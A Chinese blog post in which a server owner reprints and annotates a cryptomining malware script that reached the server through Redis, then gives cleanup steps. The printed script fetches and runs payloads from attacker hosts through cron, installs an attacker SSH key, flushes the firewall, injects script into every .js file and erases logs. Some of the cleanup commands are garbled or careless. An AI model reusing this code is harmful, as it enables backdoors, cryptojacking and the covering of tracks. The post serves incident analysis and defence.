服务器被恶意挖矿脚本注入，一个zigw进程占用99%的cpu资源

客官°小女子只卖身不卖艺 2022-03-22 02:43 220阅读 0赞

> 一，问题

最近无聊，想hexo搭建一个个人博客，但是在搭建的时候发现，在打包部署hexo项目的时候，第一次可以成功，但是第二次就会提示  
`document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>')`，查了一下资料，说是什么挖矿脚本。本来不想理的，但是后来原来越频繁，太过分了。后来查了一下资料，将这个问题解决一下。

> 二，解决方案

2.1 分析脚本文件，寻找解决方案

#!/bin/sh
    setenforce 0 2>dev/null
    echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
    sync && echo 3 >/proc/sys/vm/drop_caches
    crondir='/var/spool/cron/'"$USER"
    cont=`cat ${crondir}`
    ssht=`cat /root/.ssh/authorized_keys`
    echo 1 > /etc/gmbpr2
    rtdir="/etc/gmbpr2"
    oddir="/etc/gmbpr"
    bbdir="/usr/bin/curl"
    bbdira="/usr/bin/url"
    ccdir="/usr/bin/wget"
    ccdira="/usr/bin/get"
    #mv /usr/bin/wget /usr/bin/get
    #mv /usr/bin/curl /usr/bin/url
    if [ -f "$oddir" ]
    	then
    		pkill zjgw
    		chattr -i  /etc/gmbpr
    		rm -f /etc/gmbpr
    	else
    		echo "ok"
    fi
    #锁住/var/spool/cron和/var/spool/cron/root里面的文件，不让我们删除。所以我们执行rm -rf 会提示删除失败
    chattr -ia /var/spool/cron
    chattr -ia /var/spool/cron/root
    #下面就是花式下载shz.sh文件，就是下载当前这个文件。所以如果不删定时任务，删了shz.sh也是不管用的。
    if [ -f "$bbdir" ]
    	then
    		[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
    		[[ $cont =~ "shz.sh" ]] || echo "*/30 * * * * curl -fsSL http://c.21-3n.xyz:43768/bak.sh | sh" >> ${crondir}
    	else
    		[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
    		[[ $cont =~ "shz.sh" ]] || echo "*/30 * * * * url -fsSL http://c.21-3n.xyz:43768/bak.sh | sh" >> ${crondir}
    fi
    asd=`cat /var/spool/cron/root`
    if [ -f "$bbdir" ]
    	then
    		[[ $asd =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> /var/spool/cron/root
    		[[ $asd =~ "shz.sh" ]] || echo "*/30 * * * * curl -fsSL http://c.21-3n.xyz:43768/bak.sh | sh" >> /var/spool/cron/root
    	else
    		[[ $asd =~ "shz.sh" ]] || echo "*/12 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> /var/spool/cron/root
    		[[ $asd =~ "shz.sh" ]] || echo "*/30 * * * * url -fsSL http://c.21-3n.xyz:43768/bak.sh | sh" >> /var/spool/cron/root
    fi
    if [ -f "$rtdir" ]
    	then
    		echo "goto 1" >> /etc/gmbpr2
    		#添加对方的密钥，然后他们就可以免密钥链接我们的服务器了
    		mkdir /root/.ssh
    		[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
    		[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
    		[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
    		[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
    		ps -fe|grep zigw |grep -v grep
    		if [ $? -ne 0 ]
    			then
    				cd /etc
    				filesize=`ls -l zigw | awk '{ print $5 }'`
    				file="/etc/zigw"
    				#下面就是花式启动zigw，实际这个zigw就是用来挖矿
    				if [ -f "$file" ]
    					then
    						if [ "$filesize" -ne "1467080" ]
    							then
    								#将文件zigw锁住，不让我们删除
    								chattr -i /etc/zigw
    								#测试删除zigw，实际删不掉
    								rm -f zigw
    								#下载zigw文件进来
    								if [ -f "$bbdir" ]
    								then
    									curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
    								elif [ -f "$bbdira" ]
    								then
    									url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
    								elif [ -f "$ccdir" ]
    								then
    									wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
    								elif [ -f "$ccdira" ]
    								then
    									get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
    								fi
    						fi
    					else
    						if [ -f "$bbdir" ]
    						then
    							curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
    						elif [ -f "$bbdira" ]
    						then
    							url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
    						elif [ -f "$ccdir" ]
    						then
    							wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
    						elif [ -f "$ccdira" ]
    						then
    							get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
    						fi
    				fi
    				#修改zigw的权限，让该文件zigw可以被执行
    				chmod 777 zigw
    				sleep 1s
    				#执行zigw文件
    				./zigw
    			else
    				echo "runing....."
    		fi
    		chmod 777 /etc/zigw
    		chattr +i /etc/zigw
    	else
    		#这个应该激活在window那边的挖矿文件
    		echo "goto 1" > /tmp/gmbpr2
    		ps -fe|grep zigw |grep -v grep
    		if [ $? -ne 0 ]
    			then
    				cd /tmp
    				filesize=`ls -l zigw | awk '{ print $5 }'`
    				file="/tmp/zigw"
    				if [ -f "$file" ]
    					then
    						if [ "$filesize" -ne "1467080" ]
    							then
    								chattr -i /tmp/zigw
    								rm -f zigw
    								if [ -f "$bbdir" ]
    								then
    									curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
    								elif [ -f "$bbdira" ]
    								then
    									url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
    								elif [ -f "$ccdir" ]
    								then
    									wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
    								elif [ -f "$ccdira" ]
    								then
    									get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
    								fi
    						fi
    					else
    						if [ -f "$bbdir" ]
    						then
    							curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
    						elif [ -f "$bbdira" ]
    						then
    							url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
    						elif [ -f "$ccdir" ]
    						then
    							wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
    						elif [ -f "$ccdira" ]
    						then
    							get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
    						fi
    				fi
    				chmod 777 zigw
    				sleep 1s
    				./zigw
    			else
    				echo "runing....."
    		fi
    		chmod 777 /tmp/zigw
    		chattr +i /tmp/zigw
    fi
    chattr +ia /var/spool/cron
    chattr +ia /var/spool/cron/root
    #下面就是通过iptables的方式清除所有规则来暂时停止防火墙
    #我是用CentOs的firewalld的，后来查了一下资料，发现firewalld在iptables的上层。可以理解为firewalld是用iptables实现的
    #firewalld与iptables区别：https://blog.csdn.net/weixin_40658000/article/details/78708375
    iptables -F
    iptables -X
    iptables -A OUTPUT -p tcp --dport 3333 -j DROP
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP
    iptables -A OUTPUT -p tcp --dport 14444 -j DROP
    iptables -A OUTPUT -p tcp --dport 56415 -j DROP
    #ddg
    iptables -I INPUT -s 13.113.240.221 -j DROP
    #pastebin
    iptables -I INPUT -s 104.20.209.21 -j DROP
    #x1.minerxmr.ru
    iptables -I INPUT -s 123.59.120.219 -j DROP
    iptables-save
    service iptables reload
    ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
    netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    netstat -ano|grep :56415|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
    ps auxf | grep -v grep | grep ddgs | awk '{print $2}' |xargs kill -9
    ps auxf | grep -v grep | grep qW3xT | awk '{print $2}' |xargs kill -9
    rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
    rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
    #从跟根目录开始寻找，往所有  .js  文件后面都加上下面这个脚本
    find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write$'\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"$\</script\>\'\)\;
    history -c
    echo > /var/spool/mail/root
    echo > /var/log/wtmp
    echo > /var/log/secure
    echo > /root/.bash_history
    echo > /var/spool/mail/root

2.2 分析脚本后，寻找解决方案

先删除zigw脚本
    chattr -i /etc/zigw
    rm -rf /etc/zigw
    
    删除定时任务：
    chattr -ia /var/spool/cron
    chattr -ia /var/spool/cron/root
    rm -rf *
    
    删除ssh密钥注入
    cd /etc
    gmbpr2
    
    #我们ssh的密钥和公钥被都泄露，所以就将里面的文件全部删了。重新生成
    cd  /root/.ssh
    rm -rf *

2.3 总结

①问题解决难点总结

因为我服务器有备份，所以我恢复到了我还没被攻击的状态，然后再将该脚本删除。
    但是这个脚本有点恶心，用到了chattr -ia命令，该命令会保护该文件，保证该文件不能被rm掉。
    所以需要再次对该文件执行一遍chattr -ia命令，将该文件解锁，然后才能rm掉。

②脚本入侵思路总结

1，通过redis脚本入侵，然后再通过该脚本下载另外一个shz.sh挖矿脚本到服务器
    
    在某种条件下触发该脚本，该脚本会先保护在centos系统的定时任务，禁止用户删除该定时任务
    
    该定时任务的目的就是重新下载shz.sh挖矿脚本。
    
    2，shz.sh会先判断这个是linux系统还是window系统，对不同的系统做不同的触发操作
    
    看以前放的shz.sh脚本还在不在，不在就会继续下载下来。
    
    3，将恶意攻击者的个人公钥注入到我们的服务器上，这样子，以后就能免密码访问我们了。
    
    4，激活挖矿脚本zigw
    
    5，修改防火墙规则，然后再对所有的 .js 文件进行修改

③安全性的总结

1，其实我也是第一次碰到这种情况，但是幸亏自己有做快照的习惯，不然真的会选择将该服务器重装
    系统
    
    2，我看那个redis注入的脚本，不知道是怎么进来的。可能是以前自己刚学redis的时候，安装的版本
    有些问题吧。虽然按道理不会这样子。总之以后还是多备份吧。不然真的出问题了，很尴尬。